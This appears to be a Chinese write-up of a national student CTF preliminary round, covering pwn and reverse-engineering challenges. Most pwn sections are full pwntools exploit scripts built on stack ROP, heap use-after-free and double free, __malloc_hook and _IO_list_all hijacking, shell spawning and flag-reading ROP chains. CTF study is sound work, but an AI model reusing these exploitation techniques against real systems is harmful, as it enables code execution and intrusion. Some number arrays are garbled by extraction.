第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup

WriteUp 4周前 admin
121 0 0

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup

PWN

gostack (一血)

代码审计

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


根据题目提示,应该是栈溢出类的,然后先测试一下是不是溢出了,通过ida直接查看栈大小,这里直接模糊测试一下

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup

所以测试”A”*0x218的填充,看一下返回地址是不是会被填充

然后发现并没有,盲猜是有判断长度的地方,所以直接用00字符去测试,成功了

这里既然挺多静态的go函数,虽然貌似是有go的system函数,但是不太会用,所以直接syscall来实现

exp

from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
# libc = ELF("./libc-so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("8.147.132.163",14137)
    elf = ELF(name)

get_p("./gostack")
pop_rsi = 0x000000000042138a
pop_rdx = 0x00000000004944ec
pop_rax = 0x40f984
pop_rdi = 0x00000000004a18a5
syscall = 0x00000000004616c9


payload = b"x00"*(0x208-0x8*7) + p64(pop_rdi) + p64(0) + p64(0)*5 + p64(pop_rsi)  + p64(0x05978D8) + p64(pop_rdx) + p64(0x30) + p64(pop_rax) + p64(0x0)+ p64(syscall)
payload += p64(pop_rdi) + p64(0x005978D8) + p64(0)*5 + p64(pop_rsi) + p64(0) +p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall)
# gdb.attach(p,"b *0x0004A0A97") 
# sleep(2)
p.sendlineafter("Input your magic message :",payload)

sleep(0.2)
p.send(b"/bin/shx00")
p.interactive()

orange_cat_diary(二血)

代码审计

漏洞点一:UAF

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


漏洞点二:堆溢出 8字节

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


思路

通过堆溢出修改top chunk的大小,然后申请一个大chunk来使得top chunk进入unsorted bin,然后在申请0x68大小的chunk为我们劫持__malloc_hook做准备,在申请0x68大小的chunk时,我们就可以用遗留下来的bk值进行libc地址泄露

然后就可以通过UAF,实现申请到__malloc_hook,修改__malloc_hookone_gadget

exp

from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
libc = ELF("./libc-2.23.so")
# libc = ELF("./libc-so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("8.147.133.63",16173)
    elf = ELF(name)


def add(size,content):
    p.sendlineafter("Please input your choice:","1")
    p.sendlineafter("Please input the length of the diary content:",str(size))
    p.sendafter("Please enter the diary content:",content)

def show():
    p.sendlineafter("Please input your choice:","2")
    
def edit(size,content):
    p.sendlineafter("Please input your choice:","4")
    p.sendlineafter("Please input the length of the diary content:",str(size))
    p.sendafter("Please enter the diary content:",content)
def dele():
    p.sendlineafter("Please input your choice:","3")

get_p("./orange_cat_diary")
p.sendafter("Hello, I'm delighted to meet you. Please tell me your name.","AAA")
add(0x38,"AAAA")
edit(0x40,b"x00"*0x38+p64(0xfc1))

add(0xff0,"AAA")
add(0x68,b"A"*8)
show()

libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 1640 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc.address))

one_gadget = 0xf03a4 + libc.address
dele()
edit(0x10,p64(libc.sym['__malloc_hook']-0x23))

add(0x68,b"A"*8)
add(0x68,b"x00"*0x13 + p64(one_gadget))

p.sendlineafter("Please input your choice:","1")
p.sendlineafter("Please input the length of the diary content:",str(0x20))

# gdb.attach(p,"")
p.interactive()

ezbuf

发包结构体分析

这题跟去年的题基本一致,复现过后,基本也会构造发包的结构体

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


有五个数据结构体

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


通过第三个数据来判断是那种类型,下面是类型表,以0为开始

typedef enum {
 PROTOBUF_C_TYPE_INT32,      /**< int32 */
 PROTOBUF_C_TYPE_SINT32,     /**< signed int32 */
 PROTOBUF_C_TYPE_SFIXED32,   /**< signed int32 (4 bytes) */
 PROTOBUF_C_TYPE_INT64,      /**< int64 */
 PROTOBUF_C_TYPE_SINT64,     /**< signed int64 */
 PROTOBUF_C_TYPE_SFIXED64,   /**< signed int64 (8 bytes) */
 PROTOBUF_C_TYPE_UINT32,     /**< unsigned int32 */
 PROTOBUF_C_TYPE_FIXED32,    /**< unsigned int32 (4 bytes) */
 PROTOBUF_C_TYPE_UINT64,     /**< unsigned int64 */
 PROTOBUF_C_TYPE_FIXED64,    /**< unsigned int64 (8 bytes) */
 PROTOBUF_C_TYPE_FLOAT,      /**< float */
 PROTOBUF_C_TYPE_DOUBLE,     /**< double */
 PROTOBUF_C_TYPE_BOOL,       /**< boolean */
 PROTOBUF_C_TYPE_ENUM,       /**< enumerated type */
 PROTOBUF_C_TYPE_STRING,     /**< UTF-8 or ASCII string */
 PROTOBUF_C_TYPE_BYTES,      /**< arbitrary byte sequence */
 PROTOBUF_C_TYPE_MESSAGE,    /**< nested message */
} ProtobufCType;

然后我们就可以依此类推出来

syntax="proto3";

message devicemsg{
    bytes whatcon = 1;
    sint64 whattodo = 2;
    sint64 whatidx = 3;
    sint64 whatsize = 4;
    uint32 whatsthis = 5;
}

网上都有生成的脚本 搜个probuf pwn基本上就出来

代码分析

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


函数0是什么都不干,纯解析我们发包的数据

函数1是申请0x30的chunk,然后copy数据进去

函数3是打印我们申请chunk的数据,但是最好用2次,不然会把我们标准输出和报错关掉

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


漏洞

函数2是漏洞所在

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


只有10次释放机会,虽然是UAF

思路

我们通过遗留的unsorted binbk来得到libc的地址,然后通过释放第一个0x40大小的chunk(就是我们申请的那个chunk),然后打印出来heap地址,这样我们就可以通过UAF进行,一次任意地址写入

为什么是一次,我们要填充tcache bin,然后通过fastbin来实现double free

这样的操作需要刚好十次的释放

所以我们需要控制tcache bin的管理chunk,然后通过这个进去任意地址写

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


这块调试挺久的,我们可以通过处理发包数据的地方来实现,申请对应大小的chunk,就是控制我们whatcon的数据来实现申请对应大小chunk,然后先是通过_IO_2_1_stdout来实现泄露stack地址

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


再通过之前控制tcache bin的管理chunk,申请回管理chunk,往对应的bin里写入stack地址

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


然后在申请到对应stack的位置,进行ROP,就可以getshell

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


exp

from pwn import*
import pp_pb2

context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
libc_1 = ELF("./libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""

cont = pp_pb2.devicemsg()

def get_p(name):
    global p,elf 
    p = process(name,env={"LD_PRELOAD":"./libc.so.6 "})
    # p = remote("8.147.133.80",23682)
    elf = ELF(name)

def add(idx,mem):
    
    cont.whatcon=mem
    cont.whattodo=1
    cont.whatidx=idx
    cont.whatsize=0
    cont.whatsthis=0
    p.sendafter("WHAT DO YOU WANT?",cont.SerializeToString())

def show(idx):
    cont.whatcon=b"0"
    cont.whattodo=3
    cont.whatidx=idx
    cont.whatsize=0x20
    cont.whatsthis=0x20
    p.sendafter("WHAT DO YOU WANT?",cont.SerializeToString())

def dele(idx):
    cont.whatcon=b"B"*0xc0
    cont.whattodo=2
    cont.whatidx=idx
    cont.whatsize=0x20
    cont.whatsthis=0x20
    p.sendafter("WHAT DO YOU WANT?",cont.SerializeToString())

def clean(mem):
    cont.whatcon=mem
    cont.whattodo=0
    cont.whatidx=0
    cont.whatsize=0x20
    cont.whatsthis=0x20
    p.sendafter("WHAT DO YOU WANT?",cont.SerializeToString())
get_p("./pwn")
for i in range(9):
    add(i,b"A"*0x8)
# dele(0)
show(0)
libc_1.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x219ce0 - 0x1000

dele(0)
show(0)
p.recvuntil("Content:")
heap = u64(p.recv(5).ljust(0x8,b"x00")) * 0x1000 - 0x2000

print(hex(libc.address))
print(hex(heap))

for i in range(6):
    dele(i+1)

dele(7)
dele(8)
dele(7)

for i in range(7):
    add(i,b"A"*0x8)

environ = libc_1.sym['environ']
stdout = libc_1.sym['_IO_2_1_stdout_']
print(hex(environ))
add(7,p64((heap+0xf0) ^((heap+0x4e40)>>12)))

add(8,b"AAAAAA")
add(8,b"A")
add(8,p64(0)+p64(heap+0x10))
# # sleep(2)
# show(8)

# stack = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00"))
# print(hex(stack))

gdb.attach(p,"b *$rebase(0x001CBE)")
sleep(2)

clean((((p16(0)*2+p16(1)+p16(1)).ljust(0x10,b"x00")+p16(1)+p16(1)).ljust(0x90,b'x00')+p64(stdout)+p64(stdout)+p64(0)*5+p64(heap+0x10)).ljust(0xe0,b"x00"))

raw_input()
clean(p64(0xFBAD1800)+p64(0)*3+p64(environ)+p64(environ+8))

stack = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x1a8 + 0x40
print(hex(stack))
raw_input()

clean((((p16(0)*2+p16(0)+p16(0)+p16(1)).ljust(0x10,b"x00")+p16(1)+p16(1)).ljust(0x90,b'x00')+p64(0)+p64(0)+p64(stack)).ljust(0xa0,b"x00"))

# libc_1.address = libc.address

pop_rdi = 0x000000000002a3e5 + libc_1.address
system = libc.sym['system'] + libc.address
binsh = next(libc_1.search(b"/bin/sh"))
ret = 0x000000000002a3e6 + libc_1.address

raw_input()

clean((p64(ret)*2+p64(pop_rdi)+p64(binsh)+p64(libc_1.sym['system'])).ljust(0x58,b"x00"))

p.interactive()

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


EzHeap

代码审计

漏洞点,其他就基本上是标准菜单

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


思路

通过泄露出来heap和libc地址,然后就可以进行任意地址申请,原本用_IO_2_1_stdout来泄露stack地址,但是就会发现这个

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


memset会清空数据,然后printf的时候会报错,所以我们只能打_IO_list_all直接house_of_apple攻击,刚好最近整理了一下模板,但是我们申请到_IO_list_all会直接把它所有数据置零,所以申请在上方,不影响下面的正常执行,再通过read把数据恢复回去,不然会卡住

这里也可以用largebin attack,但是我堆布局有点问题,调用了其他系统调用(猜测是brk?),然后就直接被沙箱终结进程了,所以直接修改_IO_list_all,再ORWflag

exp

from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("8.147.129.121",42446)
    elf = ELF(name)

def add(size,content):
    p.sendlineafter("choice >> ",'1')
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def edit(idx,content):
    p.sendlineafter("choice >> ",'3')
    p.sendlineafter("idx:",str(idx))
    p.sendlineafter("size:",str(len(content)))
    p.sendafter("content:",content)  

def dele(idx):
    p.sendlineafter("choice >> ",'2')
    p.sendlineafter("idx:",str(idx))  

def show(idx):
    p.sendlineafter("choice >> ",'4')
    p.sendlineafter("idx:",str(idx))      
get_p("./EzHeap")


add(0x200,b"A"*0x8)
add(0x440,b"AAAA")
add(0x440,b"AAAAAA")
dele(1)
edit(0,b"A"*0x210)
show(0)

libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x21ace0
fd = libc.address + 0x21b0e0
edit(0,b"A"*0x200 + p64(0) + p64(0x451))

add(0x450,b"AAAAAA")

edit(0,b"A"*0x220)
show(0)
p.recvuntil("A"*0x220)
heap_addr = u64(p.recv(6).ljust(0x8,b"x00")) - 0x2510

print(hex(heap_addr))

edit(0,b"A"*0x200 + p64(0)+ p64(0x451)+p64(fd)*2)


add(0x440,b"AAAA")
dele(3)
add(0xa0,b"AAAA")
add(0xa0,b"AAAA")
add(0xa0,b"AAAA")
add(0xa0,b"AAAA")
add(0xa0,b"AAAA")
add(0xa0,b"AAAA")
add(0xa0,b"AAAA")
add(0xa0,b"AAAA")
add(0xa0,b"AAAA")
add(0xa0,b"AAAA")
add(0xa0,b"AAAA")

dele(13)
dele(12)
payload = b"A"*0x200 + p64(0) + p64(0x211) + p64((libc.sym['_IO_list_all']-0xa0)^((heap_addr + 0x25c0)>>12))
edit(0,payload)



add(0xa0,b"AAAA")

payload = p64(0x2185a0+libc.address) + p64(0x1bf3c0+libc.address) + p64(0x1be4c0+libc.address)+ p64(0x1beac0+libc.address) + p64(0x1da1c2+libc.address) *13 + p64(0)*3

add(0xa0,payload)

# for i in range(0x200//8):
# add(0x200,payload)

edit(13,payload+p64(heap_addr+0x2300))
fake_io_addr = heap_addr+0x2300
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
ret = 0x000000000002a3e6 + libc.address
ROP_addr = heap_addr + 0x2db0 + 0x10
setcontext = libc.sym['setcontext']
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rdx =  0x000000000011f2e7 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
syscall = 0x0000000000091316 + libc.address
FP = fake_io_addr
A = FP + 0x100
B = A + 0xe0 - 0x60

payload = (0xa0-0x10)*b"x00" + p64(A) 
payload = payload.ljust(0xb0,b"x00") + p64(1)
payload = payload.ljust(0xc8,b"x00") + p64(_IO_wfile_jumps-0x40)
payload = payload.ljust(0x190,b"x00") + p64(ROP_addr) + p64(ret)
payload = payload.ljust(0xf0+0xe0,b"x00") + p64(B) + p64(setcontext + 61)

edit(0,payload)


payload = p64(pop_rax) + p64(2)  + p64(pop_rdi) + p64(ROP_addr+0x100) + p64(pop_rdx) + p64(0)*2 + p64(pop_rsi) + p64(0) + p64(syscall)
payload += p64(pop_rdi) + p64(3) + p64(pop_rdx) + p64(0x40) *2 + p64(pop_rsi) + p64(heap_addr+0x1000) + p64(libc.sym['read'])
payload += p64(pop_rdi) + p64(1) + p64(libc.sym['write'])

payload = payload.ljust(0x100,b"x00") + b"/flagx00"

edit(1,payload)


# gdb.attach(p,"b *&_IO_wfile_overflow")
# sleep(2)

p.sendlineafter("choice >> ",'5')
p.interactive()

SuperHeap (三血)

代码审计

直接先来漏洞点,再edit选项中

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


memmove没有检查大小,可以直接堆溢出

解决交互问题

看add的部分,先是base32解码

v117 = encoding_base32__ptr_Encoding_DecodeString(qword_41A120, v116);

然后是probuf数据反序列化

github_com_golang_protobuf_proto_Unmarshal(
             ptr,
             v117.0.len,
             cap,
             (unsigned int)off_2BD1C8,
             (_DWORD)p_mypackage_CTFBook,
             v26,
             v27,
             v28,
             v29,
             v82) )

再是每个数据进行base64解码

v118 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Title);
v119 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Author);
v120 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Isbn);
encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->PublishDate);

其中base64base32都简单,probuf序列化的话,网上刚好有提取的工具,但是跟ezbuf不同,ezbuf似乎只能手动提取,这个可以自动提取结构体,同ezbuf的操作,就可以进行序列化操作了

最后的发送数据模板:

cont = bookProto_pb2.CTFBook()
cont.title = base64.b64encode(title)
cont.author = base64.b64encode(author)
cont.isbn = base64.b64encode(isbn)
cont.publish_date = base64.b64encode(date)
cont.price = 41
cont.stock = 1
payload = base64.b32encode(cont.SerializeToString())

思路

除去交互数据格式,这题跟之前今年NaN招新赛,解出的某道题相似,程序实现search的功能,说明程序用链表来实现,那么堆大致应该有对应的book结构体,根据分析发现确实是有,大致结构如下:

struct book{
 char *title;
 char *Author;
 char *Isbon;
 char *PulishDate;
 float price;
 long int stcok;
}

所以我们先通过堆溢出泄露出来libcheap地址,然后控制某个book的结构体,然后通过edit函数实现任意写,跟上题一样,我们打_IO_list_allhouse_of_apple攻击,然后orw

本人是很喜欢泄露stack,再orw的,但是程序运行时,栈不是在原本我们所知的那个地方,所以没有再研究下去

exp

from pwn import*
import base64
import bookProto_pb2
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


cont = bookProto_pb2.CTFBook()

def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("8.147.133.230",40626)
    elf = ELF(name)


def add(idx,date,title=b"AA",author=b"AAAA",isbn=b"AAA"):
    p.sendlineafter("Enter your choice >","1")
    p.sendlineafter("Index:",str(idx))

    cont.title = base64.b64encode(title)
    cont.author = base64.b64encode(author)
    cont.isbn = base64.b64encode(isbn)
    cont.publish_date = base64.b64encode(date)
    cont.price = 41
    cont.stock = 1
    payload = base64.b32encode(cont.SerializeToString())
    p.sendlineafter("Special Data:",payload)


def edit(idx,date,title=b"AA",author=b"AAAA",isbn=b"AAA"):
    p.sendlineafter("Enter your choice >","4")
    p.sendlineafter("Index:",str(idx))

    cont.title = base64.b64encode(title)
    cont.author = base64.b64encode(author)
    cont.isbn = base64.b64encode(isbn)
    cont.publish_date = base64.b64encode(date)
    cont.price = 41
    cont.stock = 1
    payload = base64.b32encode(cont.SerializeToString())
    p.sendlineafter("Special Data:",payload)


def show(idx):
    p.sendlineafter("Enter your choice >","2")
    p.sendlineafter("Index:",str(idx))

def dele(idx):
    p.sendlineafter("Enter your choice >","3")
    p.sendlineafter("Index:",str(idx))    
get_p("./SuperHeap")
# sleep(2)
add(0,b"A"*0x20)
add(1,b"A"*0x430,title=b"BBBBB")
add(2,b"A"*0x430)
add(3,b"A"*0x430)

dele(2)
edit(0,b"A"*0x30)

show(0)
p.recvuntil("A"*0x30)

heap_addr = u64(p.recv(6).ljust(0x8,b"x00")) - 0x2e90

edit(0,b"A"*(0x70+0x440))
show(0)

libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x219ce0 - 0x1000
print(hex(heap_addr))
print(hex(libc.address))

payload = b"A"*0x28 + p64(0x41) + p64(heap_addr + 0x2e90) + p64(0x2cf0+heap_addr) + p64(0x2b50+heap_addr) + p64(libc.sym['_IO_list_all']) + p64(0x4044800000000000) + p64(200)

edit(0,payload)

edit(1,p64(0x3730+heap_addr))
print(hex(libc.sym['_IO_list_all']))

payload = b"A"*0x28 + p64(0x41) + p64(heap_addr + 0x2e90) + p64(0x2cf0+heap_addr) + p64(0x2b50+heap_addr) + p64(heap_addr+0x3730) + p64(0x4044800000000000) + p64(200)

edit(0,payload)

fake_io_addr = heap_addr + 0x3730
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
ROP_addr = heap_addr + 0x4000
ret = 0x000000000002a3e6 + libc.address
setcontext = libc.sym['setcontext']
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rdx =  0x000000000011f2e7 + libc.address
pop_rsi = 0x000000000002be51 + libc.address

FP = fake_io_addr
A = FP + 0x100
B = A + 0xe0 - 0x60

payload = (0xa0-0x10)*b"x00" + p64(A) 
payload = payload.ljust(0xb0,b"x00") + p64(1)
payload = payload.ljust(0xc8,b"x00") + p64(_IO_wfile_jumps-0x40)
payload = payload.ljust(0x190,b"x00") + p64(ROP_addr) + p64(ret)
payload = payload.ljust(0xf0+0xe0,b"x00") + p64(B) + p64(setcontext + 61)
edit(1,p64(0)*2+payload)

payload = b"A"*0x28 + p64(0x41) + p64(heap_addr + 0x2e90) + p64(0x2cf0+heap_addr) + p64(0x2b50+heap_addr) + p64(heap_addr+0x4000) + p64(0x4044800000000000) + p64(200)

edit(0,payload)

payload = p64(pop_rdi) + p64(ROP_addr+0x100) + p64(pop_rdx) + p64(0)*2 + p64(pop_rsi) + p64(0) + p64(libc.sym['open'])
payload += p64(pop_rdi) + p64(3) + p64(pop_rdx) + p64(0x40) *2 + p64(pop_rsi) + p64(heap_addr+0x1000) + p64(libc.sym['read'])
payload += p64(pop_rdi) + p64(1) + p64(libc.sym['write'])

payload = payload.ljust(0x100,b"x00") + b"/flagx00"
edit(1,payload)

# gdb.attach(p,"b *$rebase(0x020D1C7)")
# sleep(2)

p.sendlineafter("Enter your choice >","6")
# payload = b"A"*0x28 + p64(0x41) + p64(heap_addr + 0x2e90) + p64(0x2cf0+heap_addr) + p64(0x2b50+heap_addr) + p64(stack) + p64(0x4044800000000000) + p64(200)
# edit(0,payload)

p.interactive()

RE

asm_re

下载得到asm_re.txt,手动提取机器码,放到IDAx64进行识别

__int64 sub_0()
{
  __int64 v0; // x8
  __int64 v1; // x0
  _BYTE v3[4]; // [xsp+0h] [xbp-110h] BYREF
  unsigned int v4; // [xsp+4h] [xbp-10Ch]
  unsigned __int64 v5; // [xsp+8h] [xbp-108h]
  _BYTE *v6; // [xsp+10h] [xbp-100h]
  int k; // [xsp+18h] [xbp-F8h]
  int v8; // [xsp+1Ch] [xbp-F4h]
  int v9; // [xsp+20h] [xbp-F0h]
  int v10; // [xsp+24h] [xbp-ECh]
  int j; // [xsp+28h] [xbp-E8h]
  int v12; // [xsp+2Ch] [xbp-E4h]
  int v13; // [xsp+30h] [xbp-E0h]
  int i; // [xsp+34h] [xbp-DCh]
  __int64 v15; // [xsp+38h] [xbp-D8h]
  _BYTE *v16; // [xsp+40h] [xbp-D0h]
  int v17; // [xsp+4Ch] [xbp-C4h]
  __int64 v18; // [xsp+50h] [xbp-C0h]
  int v19; // [xsp+5Ch] [xbp-B4h]
  _DWORD v20[38]; // [xsp+60h] [xbp-B0h] BYREF
  __int64 v21; // [xsp+F8h] [xbp-18h]

  v21 = *MEMORY[0x1010];
  v19 = 0;
  v18 = 0xE84ui64;
  MEMORY[0x2A4](v20, 0xF10ui64, 152i64);
  v17 = MEMORY[0x2BC](0xE84ui64);
  v16 = v3;
  v5 = (4i64 * (unsigned int)(v17 + 1) + 15) & 0xFFFFFFFFFFFFFFF0ui64;
  MEMORY[0x1000]();
  v6 = &v3[-v5];
  v15 = v0;
  for ( i = 0; i < v17; ++i )
  {
    v13 = *(char *)(v18 + i);
    v12 = ((80 * v13 + 20) ^ 0x4D) + 30;
    *(_DWORD *)&v6[4 * i] = v12;
  }
  *(_DWORD *)&v6[4 * v17] = 0;
  for ( j = 0; j < v17; ++j )
  {
    v10 = *(char *)(v18 + j);
    v9 = ((80 * v10 + 20) ^ 0x4D) + 30;
    *(_DWORD *)&v6[4 * j] = v9;
  }
  MEMORY[0x2B0](0xEABui64);
  v8 = 1;
  for ( k = 0; k < v17; ++k )
  {
    if ( *(_DWORD *)&v6[4 * k] != v20[k] )
    {
      v8 = 0;
      break;
    }
  }
  if ( v8 )
    v1 = MEMORY[0x2B0](0xEADui64);
  else
    v1 = MEMORY[0x2B0](0xEDBui64);
  v19 = 0;
  v4 = 0;
  if ( *MEMORY[0x1010] != v21 )
    MEMORY[0x298](v1);
  return v4;
}

看到对密文逐字符进行((80 * v10 + 20) ^ 0x4D) + 30运算,逆向

encode = [0xD70x1F0x000x000xB70x210x000x000x470x1E0x000x000x270x200x000x000xE70x260x000x000xD70x100x000x000x270x110x000x000x070x200x000x000xC70x110x000x000x470x1E0x000x000x170x100x000x000x170x100x000x000xF70x110x000x000x070x200x000x000x370x100x000x000x070x110x000x000x170x1F0x000x000xD70x100x000x000x170x100x000x000x170x100x000x000x670x1F0x000x000x170x100x000x000xC70x110x000x000xC70x110x000x000x170x100x000x000xD70x1F0x000x000x170x1F0x000x000x070x110x000x000x470x0F0x000x000x270x110x000x000x370x100x000x000x470x1E0x000x000x370x100x000x000xD70x1F0x000x000x070x110x000x000xD70x1F0x000x000x070x110x000x000x870x270x000x00]

data = []
for i in range(len(encode) // 4):
    data.append(int.from_bytes(encode[i*4:i*4+4],"little"))

for i in range(len(data)):
    data[i] -= 0x1e
    data[i] ^= 0x4d
    data[i] -= 0x14
    data[i] //= 0x50
print("".join(map(chr,data)))

flag{67e9a228e45b622c2992fb5174a4f5f5}

androidso_re

jadx找主程序,在legal函数中做了格式和内容的校验,格式首尾为flag{}并且长度为38

package com.example.re11113;

import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity implements View.OnClickListener {
    private EditText editText;

    private boolean legal(String paramString) {
        return paramString.length() == 38 && paramString.startsWith("flag{") && paramString.charAt(paramString.length() - 1) == '}' && !inspect.inspect(paramString.substring(5, paramString.length() - 1));
    }

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(C0586R.layout.activity_main);
        this.editText = (EditText) findViewById(C0586R.C0589id.edit_text);
        ((Button) findViewById(C0586R.C0589id.Button)).setOnClickListener(this);
    }

    @Override // android.view.View.OnClickListener
    public void onClick(View v) {
        Log.d("Button ID""Button ID: " + v.getId());
        switch (v.getId()) {
            case C0586R.C0589id.Button /* 2131230723 */:
                if (legal(this.editText.getText().toString())) {
                    Toast.makeText(this"You are right."0).show();
                    return;
                } else {
                    Toast.makeText(this"You are wrong."0).show();
                    return;
                }
            default:
                return;
        }
    }
}

跟入inspect函数,可以看到时DES加密最后比较字符串JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==

package com.example.re11113;

import android.util.Base64;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

/* loaded from: classes3.dex */
public class inspect {
    public static boolean inspect(String input_str) {
        try {
            byte[] input_flag = input_str.getBytes(StandardCharsets.UTF_8);
            byte[] str2 = jni.getkey().getBytes(StandardCharsets.UTF_8);
            Arrays.copyOf(str2, 8);
            SecretKeySpec key = new SecretKeySpec(str2, "AES");
            IvParameterSpec iv = new IvParameterSpec(jni.getiv().getBytes(StandardCharsets.UTF_8));
            Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
            cipher.init(1, key, iv);
            if (!Base64.encodeToString(cipher.doFinal(input_flag), 0).trim().equals("JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==")) {
                return true;
            }
            return false;
        } catch (Exception exception) {
            exception.printStackTrace();
            return true;
        }
    }
}

没有保护,直接hook加密位置,找keyiv

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


解密

第十七届全国大学生信息安全竞赛创新实践能力赛初赛Writeup


flag{188cba3a5c0fbb2250b5a2e590c391ce}

whereThel1b

cython程序,很难看懂,尝试爆破,改写一下whereistheflag.py代码

首先猜测flag格式,根据前面的题可以得到两种flag格式

  • flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}
  • flag{67e9a228e45b622c2992fb5174a4f5f5}

flag为第一种格式时,与密文格式相同。

import whereThel1b


# flag = input("where is my flag:")
flag = 'flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}' # 随便写
flag = flag.encode()
encry = [108117728064499919691159493941157195848956101702847512768103851051138010395678171137047739212493120104108106178010210175936812126]
# print(len(encry)) 56
whereThel1b.whereistheflag(flag)
ret = whereThel1b.trytry(flag)
print(f'输入{ret}')
print(f'密文{encry}')
    
# 输入[108, 117, 72, 80, 64, 49, 100, 73, 82, 116, 120, 92, 94, 90, 113, 22, 64, 89, 56, 38, 81, 2, 64, 75, 127, 68, 115, 24, 125, 92, 106, 103, 95, 122, 94, 93, 113, 70, 46, 84, 92, 66, 82, 33, 104, 111, 84, 84, 80, 102, 102, 17, 73, 121, 125, 26]
# 密文[108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]

可以看出,存在爆破可能性

import whereThel1b

def check_flag(flag, encry, position):
    chr_list = '0123456789abcdef-{}'
    for ch1 in chr_list:
        for ch2 in chr_list:
            for ch3 in chr_list:
                new_flag = flag[:position] + ch1 + ch2 + ch3 + flag[position + 3:]
                new_flag_encoded = new_flag.encode()
                
                whereThel1b.whereistheflag(new_flag_encoded)
                ret = whereThel1b.trytry(new_flag_encoded)
                
                if ret[:((position // 3) + 1) * 4] == encry[:((position // 3) + 1) * 4]:
                    flag = new_flag
                    return flag

    return flag

def decrypt_flag():
    encrypted_flag = [108117728064499919691159493941157195848956101702847512768103851051138010395678171137047739212493120104108106178010210175936812126]
    flag = 'flag{7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

    for i in range(6423):
        flag = check_flag(flag, encrypted_flag, i)

    return flag

